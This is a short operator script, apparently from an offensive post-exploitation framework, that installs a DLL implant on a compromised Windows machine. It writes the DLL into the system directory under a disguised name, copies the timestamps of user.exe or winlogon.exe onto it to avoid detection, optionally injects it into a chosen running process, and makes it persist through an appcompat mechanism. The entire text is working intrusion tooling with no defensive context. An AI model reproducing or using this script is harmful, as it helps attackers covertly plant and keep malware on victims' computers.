@include "_Paths.dsi"; @include "_Processes.dsi"; @include "_Versions.dsi"; @include "windows/_RegistryIncludes.dsi"; @echo off; @disablewow64 on; if ($argc != 3) { echo("* Invalid parmeters", ERROR); echo(); echo("Usage: $argv[0] "); return false; } string $localFile = $argv[1]; string $procName = $argv[2]; string $arch; _GetArch($arch); # get the system path string $sysPath; if (!_GetSystemPath($sysPath)) { echo("* Failed to get system path", ERROR); return false; } # get the process id for injection int $id; if (prompt("Do you want to perform injection (for instant-grat)?")) { if (StrLen($procName) > 0) { if (!_FindProcessOnList($procName, $id) || !defined($id)) { echo("* Failed to find $procName", ERROR); } } # make sure the user wants to keep going if we don't have a process if (!defined($id)) { echo("No process for injection", ERROR); if (!prompt("Continue?")) { return false; } } } # get install name string $installName = "seccli.dll"; if (!GetInput("PC DLL install name", $installName, $installName)) { echo("* Failed to get install name", ERROR); return false; } # upload the file echo "Uploading PC"; if (!`put "$localFile" -name "$sysPath\\$installName" -permanent`) { echo(" FAILED", ERROR); pause; return false; } echo(" FINISHED", GOOD); # matchtimes on the file string $matchName = "user.exe"; if ($arch == "x64") { $matchName = "winlogon.exe"; } echo "Matching filetimes with $matchName"; if (!`matchfiletimes -src "$sysPath\\$matchName" -dst "$sysPath\\$installName"`) { echo(" FAILED", ERROR); pause; # continue... } else { echo(" FINISHED", GOOD); } if (defined($id)) { # inject the DLL echo "Injecting DLL"; if (!`injectdll -library $installName -id $id`) { echo(" FAILED", ERROR); } else { echo(" INJECTED", GOOD); } } # Finalize install (do persistence) echo "Persisting"; if (!`appcompat -procname "$procName" -remotelibname "$installName"`) { echo(" FAILED", ERROR); pause; # continue... } else { echo(" FINISHED", GOOD); } echo "Install Finished"; pause; return true;